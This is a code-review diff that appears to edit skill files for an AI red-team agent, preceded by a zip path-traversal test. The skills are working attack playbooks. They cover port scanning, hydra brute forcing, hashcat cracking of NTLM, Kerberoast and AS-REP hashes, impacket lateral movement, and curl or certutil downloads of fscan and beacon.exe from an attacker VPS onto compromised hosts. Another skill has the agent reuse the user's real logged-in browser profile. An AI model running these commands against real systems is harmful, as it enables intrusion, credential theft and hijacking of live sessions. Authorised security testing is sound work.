assert.equal(fs.existsSync(path.join(dest, "..", "evil.txt")), false);
} finally {
fs.rmSync(dest, { recursive: true, force: true });
}
assert.throws(() => extractZipBuffer(buildZip([{ name: "../evil.txt", body: "no", method: 0 }]), dest));
assert.equal(fs.existsSync(path.join(os.tmpdir(), "evil.txt")), false);
const zipPath = path.join(os.tmpdir(), `dsh-zip-src-${process.pid}.zip`);
const viaDest = fs.mkdtempSync(path.join(os.tmpdir(), "dsh-zip-via-"));
const liveDest = fs.mkdtempSync(path.join(os.tmpdir(), "dsh-zip-live-"));
const fallbackDest = fs.mkdtempSync(path.join(os.tmpdir(), "dsh-zip-fallback-"));
fs.writeFileSync(zipPath, zip);
try {
const via = extractZipArchive(zipPath, viaDest, ["node"]);
assert.equal(via, "node");
assert.equal(fs.readFileSync(path.join(viaDest, "hello.txt"), "utf8"), "hello");
const fallback = extractZipArchive(zipPath, fallbackDest, ["tar-does-not-exist", "node"]);
assert.equal(fallback, "node");
assert.equal(fs.readFileSync(path.join(fallbackDest, "nested", "a.txt"), "utf8"), "deflated-body");
const live = extractZipArchive(zipPath, liveDest);
assert.ok(["tar", "powershell", "unzip", "python3", "bsdtar", "node"].includes(live));
console.log(`ok: zip extract via ${live} on ${process.platform}`);
} finally {
fs.rmSync(zipPath, { force: true });
fs.rmSync(viaDest, { recursive: true, force: true });
fs.rmSync(liveDest, { recursive: true, force: true });
fs.rmSync(fallbackDest, { recursive: true, force: true });
}
+10 -10
View File
@@ -15,18 +15,18 @@ enabled: true
- 全端口(限速):`nmap -sS -p- --min-rate 1000 -T4 <target> -oX runs/nmap-full.xml`
- 服务版本:`nmap -sV -sC -p <ports> <target> -oX runs/nmap-svc.xml`
## 本地已备好的工具(绝对路径,优先用它们,不要手搓)
## 工具位置(用命令名,或 `$DSH_HOME/redteam/toolkit` 下的同名文件;不要写死某一台机器的家目录)
| 用途 | 命令 |
| --- | --- |
| 端口扫描 | `nmap` / `masscan` / `~/.dsh/redteam/toolkit/naabu/naabu`(SYN 需 root,否则加 `-scan-type c`) |
| 内网综合扫描 | `~/.dsh/redteam/toolkit/fscan/fscan`(技能 fscan-intranet) |
| 内网测绘/指纹 | `~/.dsh/redteam/toolkit/gogo/gogo`(技能 gogo-intranet) |
| HTTP 探测(ProjectDiscovery) | `~/.local/bin/pd-httpx`(**注意:`/usr/bin/httpx` 是 Python httpx 库的 CLI,不是这个**) |
| 子域/解析 | `~/.dsh/redteam/toolkit/subfinder/subfinder`、`~/.dsh/redteam/toolkit/dnsx/dnsx` |
| POC 扫描 | `nuclei`(模板已在 `~/.local/nuclei-templates`) |
| 目录爆破 | `ffuf`、`~/.dsh/redteam/toolkit/dirsearch/dirsearch` |
| 隧道 | `~/.dsh/redteam/toolkit/suo5/suo5-linux-amd64`、`toolkit/chisel/chisel`、`toolkit/frp/{frpc,frps}` |
| 完整清单 | `~/.dsh/redteam/toolkit/清单.md`、`技能工具清单.md` |
| 端口扫描 | `nmap` / `masscan` / `$DSH_HOME/redteam/toolkit/naabu/naabu`(SYN 需 root,否则加 `-scan-type c`) |
| 内网综合扫描 | `$DSH_HOME/redteam/toolkit/fscan/fscan`(技能 fscan-intranet) |
| 内网测绘/指纹 | `$DSH_HOME/redteam/toolkit/gogo/gogo`(技能 gogo-intranet) |
| HTTP 探测(ProjectDiscovery) | `pd-httpx`(在 PATH 或 `$DSH_HOME/redteam/toolkit/httpx/`;不要用 Python 库那个 `httpx`) |
| 子域/解析 | `$DSH_HOME/redteam/toolkit/subfinder/subfinder`、`$DSH_HOME/redteam/toolkit/dnsx/dnsx` |
| POC 扫描 | `nuclei`(模板在 `$DSH_HOME/redteam/toolkit/nuclei-templates`) |
| 目录爆破 | `ffuf`、`$DSH_HOME/redteam/toolkit/dirsearch/dirsearch` |
| 隧道 | `$DSH_HOME/redteam/toolkit/suo5/suo5-linux-amd64`、`$DSH_HOME/redteam/toolkit/chisel/chisel`、`$DSH_HOME/redteam/toolkit/frp/frpc` |
| 完整清单 | `$DSH_HOME/redteam/toolkit/清单.md`、`技能工具清单.md` |
## 落库要求
provenance = `active`,tool = `nmap`/`masscan`,记录 scan_run。
+2 -2
View File
@@ -8,11 +8,11 @@ enabled: true
# 浏览器自动化(headless Chrome)
本机:`/usr/bin/chromium` 150.0.7871.181,`DISPLAY=:10.0`,Node v22.23.2。
浏览器用 PATH 上的 `chromium` 或 `chrome`,不要写死 `/usr/bin`。
## 一、零依赖:chromium 命令行(最稳)
```bash
CHROME=/usr/bin/chromium
CHROME=chromium
FLAGS="--headless=new --no-sandbox --disable-gpu --disable-dev-shm-usage --virtual-time-budget=8000"
# 1) 抓渲染后的 DOM(SPA 也能拿到内容)
+12 -13
View File
@@ -16,12 +16,11 @@ enabled: true
| 工具 | 路径 | 版本 | 用途 |
| --- | --- | --- | --- |
| **hydra** | `/usr/bin/hydra` | 9.7 | 在线爆破,覆盖 50+ 协议 |
| **hashcat** | `/usr/bin/hashcat` | 7.1.2 | 离线哈希破解(GPU/CPU) |
| **john** | `/usr/sbin/john` | — | 离线破解(自动识别格式,配置简单) |
| **hydra** | `hydra`(PATH,或 `$DSH_HOME/redteam/toolkit/hydra/`) | 在线爆破,覆盖 50+ 协议 |
| **hashcat** | `hashcat`(PATH,或 `$DSH_HOME/redteam/toolkit/hashcat/`) | 离线哈希破解(GPU/CPU) |
| **john** | `john`(PATH,或 `$DSH_HOME/redteam/toolkit/john/`) | 离线破解(自动识别格式,配置简单) |
字典:`/usr/share/wordlists/`(含 `rockyou.txt` 需 gunzip)、`/usr/share/seclists/Passwords/`。
**没有 rockyou 时先解压**:`sudo gunzip /usr/share/wordlists/rockyou.txt.gz`(需授权,没有就换 seclists 里的)。
字典放在 `$DSH_HOME/redteam/toolkit/wordlists/`(例如 `rockyou.txt`)。没有这份字典就换目录里已有的词表,不要写死 `/usr/share`。
## 一、在线爆破(hydra)
@@ -76,7 +75,7 @@ hydra -L users.txt -P pass.txt -s 443 -S target.example.com http-post-form \
用 `redteam_asset_query` 里的 title/单位信息现造。
2. **默认口令字典**:产品默认口令(`admin/admin`、`tomcat/tomcat`、`weblogic/weblogic1`、`sa/sa`),
参考 nuclei 模板 `http/default-logins/`(307 个),**先查 `redteam_poc_search`**。
3. **常见弱口令 TOP**:`/usr/share/seclists/Passwords/Common-Credentials/` 下的 10-million / top-100 等。
3. **常见弱口令 TOP**:`$DSH_HOME/redteam/toolkit/wordlists/` 下的 10-million / top-100 等。
4. 通用大字典(rockyou)放最后——慢且噪声大。
### 用户名从哪来
@@ -93,20 +92,20 @@ hydra -L users.txt -P pass.txt -s 443 -S target.example.com http-post-form \
hashcat --identify hashes.txt
# 2) NTLM(Windows)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -O -w 3
hashcat -m 1000 hashes.txt $DSH_HOME/redteam/toolkit/wordlists/rockyou.txt -O -w 3
# 3) NetNTLMv2(Responder 抓到的)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 hashes.txt $DSH_HOME/redteam/toolkit/wordlists/rockyou.txt
# 4) MD5 / SHA1(Web 应用库)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 hashes.txt $DSH_HOME/redteam/toolkit/wordlists/rockyou.txt
hashcat -m 100 hashes.txt $DSH_HOME/redteam/toolkit/wordlists/rockyou.txt
# 5) bcrypt(WordPress / PHP)
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 3200 hashes.txt $DSH_HOME/redteam/toolkit/wordlists/rockyou.txt
# 6) 加规则(用规则把字典放大 10 倍,性价比最高)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt $DSH_HOME/redteam/toolkit/wordlists/rockyou.txt -r $DSH_HOME/redteam/toolkit/wordlists/best64.rule
# 7) 掩码爆破(已知口令策略,如 8 位数字 + 大写字母)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d?d'
@@ -114,7 +113,7 @@ hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d?d'
```bash
# john:格式识别省事,配置在 ~/.john/john.conf
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --wordlist=$DSH_HOME/redteam/toolkit/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
```
+16 -16
View File
@@ -16,16 +16,16 @@ enabled: true
| 工具 | 路径 | 版本 | 特点 |
| --- | --- | --- | --- |
| **feroxbuster** | `/usr/bin/feroxbuster` | 2.13.1 | Rust,递归爆破最强,自动跟随目录层级,**首选** |
| **ffuf** | `/usr/bin/ffuf` | 2.1.0-dev | 最快、最灵活,支持多字典/vhost/参数 fuzz |
| **dirsearch** | `$DSH_HOME/redteam/toolkit/dirsearch/dirsearch` | v0.5.0 | Python,字典全、报告友好,带自带运行时 |
| **gobuster** | `/usr/bin/gobuster` | — | 轻量稳定,dir/dns/vhost 三模式 |
| **feroxbuster** | `feroxbuster`(PATH,或 `$DSH_HOME/redteam/toolkit/feroxbuster/`) | Rust,递归爆破最强,自动跟随目录层级,**首选** |
| **ffuf** | `ffuf`(PATH,或 `$DSH_HOME/redteam/toolkit/ffuf/`) | 最快、最灵活,支持多字典/vhost/参数 fuzz |
| **dirsearch** | `dirsearch`,或 `$DSH_HOME/redteam/toolkit/dirsearch/dirsearch` | Python,字典全、报告友好 |
| **gobuster** | `gobuster`(PATH,或 `$DSH_HOME/redteam/toolkit/gobuster/`) | 轻量稳定,dir/dns/vhost 三模式 |
## 一、feroxbuster(首选:递归 + 自动过滤)
```bash
feroxbuster -u https://target.example.com \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-w "$DSH_HOME/redteam/toolkit/wordlists/raft-large-directories.txt" \
-x php,asp,aspx,jsp,html,js,zip,tar.gz,bak,sql,txt,xml,json,config \
-d 3 -t 30 --rate-limit 80 --timeout 10 \
--filter-status 404 --filter-size 0 \
@@ -38,17 +38,17 @@ feroxbuster -u https://target.example.com \
```bash
# 目录与文件(两轮:先目录,再按命中的目录加后缀)
ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
ffuf -u https://target/FUZZ -w $DSH_HOME/redteam/toolkit/wordlists/raft-medium-directories.txt \
-mc 200,204,301,302,307,401,403,500 -fc 404 -t 40 -rate 80 -timeout 10 \
-o runs/ffuf-dir.json -of json
# 敏感文件(备份/配置/源码/密钥)
ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt \
ffuf -u https://target/FUZZ -w $DSH_HOME/redteam/toolkit/wordlists/quickhits.txt \
-mc all -fc 404 -t 40 -o runs/ffuf-quick.json -of json
# vhost 虚拟主机发现(同 IP 多站点,边缘资产常从这里出来)
ffuf -u https://target/ -H "Host: FUZZ.example.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-w $DSH_HOME/redteam/toolkit/wordlists/subdomains-top1million-20000.txt \
-fs 0 -mc all -t 50 -o runs/ffuf-vhost.json -of json
```
@@ -64,21 +64,21 @@ $DSH_HOME/redteam/toolkit/dirsearch/dirsearch \
## 四、gobuster(轻量兜底)
```bash
gobuster dir -u https://target -w /usr/share/seclists/Discovery/Web-Content/common.txt \
gobuster dir -u https://target -w $DSH_HOME/redteam/toolkit/wordlists/common.txt \
-x php,asp,aspx,jsp,zip,bak -t 30 -k -o runs/gobuster-target.txt
```
## 字典(本机已有,优先用这些)
## 字典(放在 `$DSH_HOME/redteam/toolkit/wordlists`,没有就换已有词表)
| 用途 | 路径 |
| --- | --- |
| 大目录字典 | `/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt` |
| 中目录字典 | `/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt` |
| 常见文件 | `/usr/share/seclists/Discovery/Web-Content/common.txt` |
| 敏感文件(quickhits) | `/usr/share/seclists/Discovery/Web-Content/quickhits.txt` |
| 子域(vhost 用) | `/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt` |
| 大目录字典 | `$DSH_HOME/redteam/toolkit/wordlists/raft-large-directories.txt` |
| 中目录字典 | `$DSH_HOME/redteam/toolkit/wordlists/raft-medium-directories.txt` |
| 常见文件 | `$DSH_HOME/redteam/toolkit/wordlists/common.txt` |
| 敏感文件(quickhits) | `$DSH_HOME/redteam/toolkit/wordlists/quickhits.txt` |
| 子域(vhost 用) | `$DSH_HOME/redteam/toolkit/wordlists/subdomains-top1million-20000.txt` |
字典目录:`/usr/share/seclists`、`/usr/share/wordlists`。**缺字典时**用 `redteam_credential_list` 里已收集的
字典目录:`$DSH_HOME/redteam/toolkit/wordlists`。**缺字典时**用 `redteam_credential_list` 里已收集的
单位词(品牌名、拼音缩写)自造小字典——针对性字典命中率往往高于通用大字典。
## 重点目标(扫到就要跟到底)
+1 -1
View File
@@ -33,7 +33,7 @@ VPS : http://<你的VPS_IP>:9100/fscan (技能 vps-revers
**传到跳板机/目标**(内网扫描必须在能到达内网的位置执行):
```bash
# 跳板机上直接下载(VPS 起载荷服务:~/.dsh/redteam/toolkit/vps/vps.sh serve 9100)
# 跳板机上直接下载(VPS 起载荷服务:$DSH_HOME/redteam/toolkit/vps/vps.sh serve 9100)
curl -o fscan http://<你的VPS_IP>:9100/fscan && chmod +x fscan
# 或从本机经 shells 上传
```
+4 -4
View File
@@ -8,13 +8,13 @@ enabled: true
# Kimi WebBridge(浏览器扩展 + 本地守护进程)
已安装并运行:守护进程 **v2.0.8**(systemd 服务 `kimi-webbridge`,开机自启),监听 `127.0.0.1:10086`,二进制 `~/.kimi-webbridge/bin/kimi-webbridge`。
二进制用 PATH 上的 `kimi-webbridge`,或 `$DSH_HOME/redteam/toolkit/kimi-webbridge/bin/kimi-webbridge`。装好后监听 `127.0.0.1:10086`。没装之前这份说明仍然有效,不要假设家目录里已经有这份程序。
## 当前状态(2026-09 实测)
- 守护进程:**由 systemd 管理**(`/etc/systemd/system/kimi-webbridge.service`,`enabled` + `active`,`Restart=on-failure`)。
查状态:`systemctl status kimi-webbridge`;重启用 `sudo systemctl restart kimi-webbridge`。
**不要再手动跑 `kimi-webbridge start`/`upgrade`**,那会起一个游离进程、systemd 反而变 inactive;要升级用
`sudo systemctl stop kimi-webbridge && ~/.kimi-webbridge/bin/kimi-webbridge upgrade && sudo systemctl start kimi-webbridge`。
`sudo systemctl stop kimi-webbridge && $DSH_HOME/redteam/toolkit/kimi-webbridge/bin/kimi-webbridge upgrade && sudo systemctl start kimi-webbridge`。
- 扩展:**Kimi WebBridge v2.0.8,由企业策略自动从 Chrome 应用商店安装**(扩展 ID `fldmhceldgbpfpkbgopacenieobmligc`)。
策略文件 `/etc/opt/chrome/policies/managed/kimi-webbridge.json` 与 `/etc/chromium/policies/managed/kimi-webbridge.json`
都设置了 `ExtensionSettings.force_installed` + `ExtensionInstallForcelist`,所以 **Chrome / Chromium 的任何 profile 打开即自带扩展、自动更新、常驻启用**。
@@ -23,8 +23,8 @@ enabled: true
- 简单取页面内容可优先用技能 `browser-automation`(更快、不依赖浏览器窗口);**需要复用真实登录态时必须用本技能**
## 先决条件
1. 守护进程已运行:`~/.kimi-webbridge/bin/kimi-webbridge status` 应显示 `"running": true`(开机自启,正常无需干预)。
2. **必须有一个浏览器在运行**(扩展只在浏览器进程存活时维持连接)。启动器 `~/.local/bin/kimi-chrome`:
1. 守护进程已运行:`$DSH_HOME/redteam/toolkit/kimi-webbridge/bin/kimi-webbridge status` 应显示 `"running": true`(开机自启,正常无需干预)。
2. **必须有一个浏览器在运行**(扩展只在浏览器进程存活时维持连接)。启动器 `kimi-chrome`(PATH,或 `$DSH_HOME/redteam/toolkit/kimi-webbridge/kimi-chrome`):
- 默认启动 Chrome **默认 profile**(带真实登录态,桥接的价值就在这);
- `KIMI_BROWSER=chromium kimi-chrome` 改用 Chromium;`KIMI_PROFILE=/path kimi-chrome` 指定独立 profile(无登录态)。
3. 检查连接:
+7 -7
View File
@@ -15,11 +15,11 @@ enabled: true
| 工具 | 路径 | 用途 |
| --- | --- | --- |
| Impacket 套件 | `/usr/bin/impacket-*`(61 个命令) | 协议级横向、凭据转储、Kerberos 攻击 |
| enum4linux | `/usr/bin/enum4linux` | SMB/域信息枚举(用户、共享、策略) |
| smbclient | `/usr/bin/smbclient` | 共享浏览与读写 |
| nbtscan | `/usr/bin/nbtscan` | NetBIOS 名称扫描 |
| proxychains4 | `/usr/bin/proxychains4` | 走隧道访问内网(**只用 `-f` 临时配置**) |
| Impacket 套件 | `impacket-*`(PATH,或 `$DSH_HOME/redteam/toolkit/impacket/`) | 协议级横向、凭据转储、Kerberos 攻击 |
| enum4linux | `enum4linux`(PATH,或 `$DSH_HOME/redteam/toolkit/enum4linux/`) | SMB/域信息枚举(用户、共享、策略) |
| smbclient | `smbclient` | 共享浏览与读写 |
| nbtscan | `nbtscan` | NetBIOS 名称扫描 |
| proxychains4 | `proxychains4` | 走隧道访问内网(**只用 `-f` 临时配置**) |
## 零、先做的事(信息决定打法)
@@ -82,11 +82,11 @@ impacket-mssqlclient -hashes :<NThash> <domain>/<user>@<target>
```bash
# 1) 用户名枚举 + AS-REP 抓取(不需要密码,找不需要预认证的账号)
impacket-GetNPUsers <domain>/ -usersfile runs/users.txt -dc-ip <DC_IP> -format hashcat -outputfile runs/asrep.txt
hashcat -m 18200 runs/asrep.txt /usr/share/wordlists/rockyou.txt # 离线破解
hashcat -m 18200 runs/asrep.txt $DSH_HOME/redteam/toolkit/wordlists/rockyou.txt # 离线破解
# 2) Kerberoasting(找有 SPN 的服务账号,抓 TGS 离线破解)
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC_IP> -request -outputfile runs/kerberoast.txt
hashcat -m 13100 runs/kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 runs/kerberoast.txt $DSH_HOME/redteam/toolkit/wordlists/rockyou.txt
# 3) 票据申请与使用
impacket-getTGT <domain>/<user>:<pass> -dc-ip <DC_IP> # 申请 TGT → .ccache
+2 -2
View File
@@ -15,8 +15,8 @@ enabled: true
| 项 | 值 |
| --- | --- |
| 二进制 | `/usr/bin/nuclei`(v3.11.1) |
| 模板库 | `~/.local/nuclei-templates`(**13,742 个模板**) |
| 二进制 | `nuclei`(PATH,或 `$DSH_HOME/redteam/toolkit/nuclei/nuclei`) |
| 模板库 | `$DSH_HOME/redteam/toolkit/nuclei-templates` |
| 模板版本 | v10.4.9(更新于 2026-09-18) |
| 配置 | `~/.config/nuclei/config.yaml`、`.templates-config.json` |
+3 -3
View File
@@ -18,12 +18,12 @@ enabled: true
| subfinder | `$DSH_HOME/redteam/toolkit/subfinder/subfinder` | v2.16.0 | 被动子域枚举(多源聚合) |
| dnsx | `$DSH_HOME/redteam/toolkit/dnsx/dnsx` | v1.3.1 | 批量解析、DNS 爆破、泛解析过滤 |
| naabu | `$DSH_HOME/redteam/toolkit/naabu/naabu` | v2.6.1 | 高速端口扫描(SYN 需 root,否则 `-scan-type c`) |
| httpx | `$DSH_HOME/redteam/toolkit/httpx/httpx`(包装器 `~/.local/bin/pd-httpx`) | v1.12.0 | HTTP 存活/标题/技术栈/状态码 |
| httpx | `pd-httpx`,或 `$DSH_HOME/redteam/toolkit/httpx/httpx` | v1.12.0 | HTTP 存活/标题/技术栈/状态码 |
| katana | ❌ 未安装(如需抓取用技能 `browser-automation`) | — | 爬虫抓页面与接口 |
| ksubdomain | `$DSH_HOME/redteam/toolkit/ksubdomain/ksubdomain` | v0.7 | 无状态子域爆破(比 dnsx 爆破快) |
| OneForAll | `$DSH_HOME/redteam/toolkit/oneforall/OneForAll-0.4.5/`(源码,需 `.venv`) | v0.4.5 | 子域收集全家桶(字典大,慢但全) |
> ⚠️ **`/usr/bin/httpx` 是 Python httpx 库的 CLI,不是 ProjectDiscovery 的**——必须用 `pd-httpx` 或绝对路径。
> ⚠️ 系统里名叫 `httpx` 的可能是 Python httpx 库的 CLI,不是 ProjectDiscovery 的——用 `pd-httpx`,或 `$DSH_HOME/redteam/toolkit/httpx/httpx`。
## 标准流水线
@@ -35,7 +35,7 @@ D=example.com
# ① 子域枚举(被动,多源)
$TK/subfinder/subfinder -d $D -all -silent -o runs/subfinder-$D.txt
# 补充:无状态爆破(有字典时)
# $TK/ksubdomain/ksubdomain -d $D -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
# $TK/ksubdomain/ksubdomain -d $D -f $DSH_HOME/redteam/toolkit/wordlists/subdomains-top1million-20000.txt
# ② 泛解析过滤 + 解析存活(dnsx 会剔除泛解析噪声,这一步很关键)
cat runs/subfinder-$D.txt | $TK/dnsx/dnsx -silent -a -resp -o runs/dnsx-$D.txt
+4 -4
View File
@@ -25,9 +25,9 @@ enabled: true
```
主机 : <你的VPS_IP>(腾讯云,Ubuntu 24.04,2C2G,主机名 <VPS 主机名>)
用户 : ubuntu(sudo 免密)
私钥 : ~/.dsh/redteam/toolkit/vps/id_rsa ← 权限 600,不要复制进仓库/聊天
私钥 : $DSH_HOME/redteam/toolkit/vps/id_rsa ← 权限 600,不要复制进仓库/聊天
可用端口: 9000-9999 ← 云安全组只放了这一段
工具脚本: ~/.dsh/redteam/toolkit/vps/vps.sh
工具脚本: $DSH_HOME/redteam/toolkit/vps/vps.sh
```
**密钥纪律**:私钥只在上面这个路径。任何情况下不要把私钥内容写进技能文件、报告、仓库或对话。
@@ -38,7 +38,7 @@ enabled: true
## 快速开始
```bash
VPS=~/.dsh/redteam/toolkit/vps/vps.sh
VPS=$DSH_HOME/redteam/toolkit/vps/vps.sh
$VPS status # 看 VPS 状态、剩余端口、现有会话
$VPS listen # 自动挑一个空闲端口开监听(也可 $VPS listen 9000)
@@ -141,7 +141,7 @@ certutil -urlcache -split -f http://<你的VPS_IP>:9100/beacon.exe C:\Windows\Te
powershell -c "iwr http://<你的VPS_IP>:9100/beacon.exe -OutFile C:\Windows\Temp\a.exe"
```
**取回战利品**:`$VPS get /home/ubuntu/rt/loot/dump.zip ~/.dsh/redteam/engagements/<靶标>/runs/`
**取回战利品**:`$VPS get /home/ubuntu/rt/loot/dump.zip $DSH_HOME/redteam/engagements/<靶标>/runs/`
## 反向隧道与中转
+1 -1
View File
@@ -9,7 +9,7 @@ enabled: true
## 方法
1. 响应头:`Server`、`X-Powered-By`、`Set-Cookie` 特征。
2. 页面特征:favicon 哈希、静态资源路径、报错页、robots.txt。
3. 主动探测:nuclei 技术识别模板 `nuclei -u <url> -tags tech`;HTTP 存活与技术栈汇总用 `~/.local/bin/pd-httpx -l urls.txt -tech-detect -title -status-code -web-server`(**ProjectDiscovery 版必须用 pd-httpx,`/usr/bin/httpx` 是 Python 库的 CLI**)。
3. 主动探测:nuclei 技术识别模板 `nuclei -u <url> -tags tech`;HTTP 存活与技术栈汇总用 `pd-httpx -l urls.txt -tech-detect -title -status-code -web-server`(**ProjectDiscovery 版必须用 pd-httpx,系统里名叫 `httpx` 的可能是 Python 库的 CLI**)。
4. 大网段批量指纹用技能 `gogo-intranet`(`gogo -i <cidr> -p top2 -v --af`,主动指纹要加 `-v`)。
5. 版本比对:从指纹推断产品与版本,为漏洞检测做准备。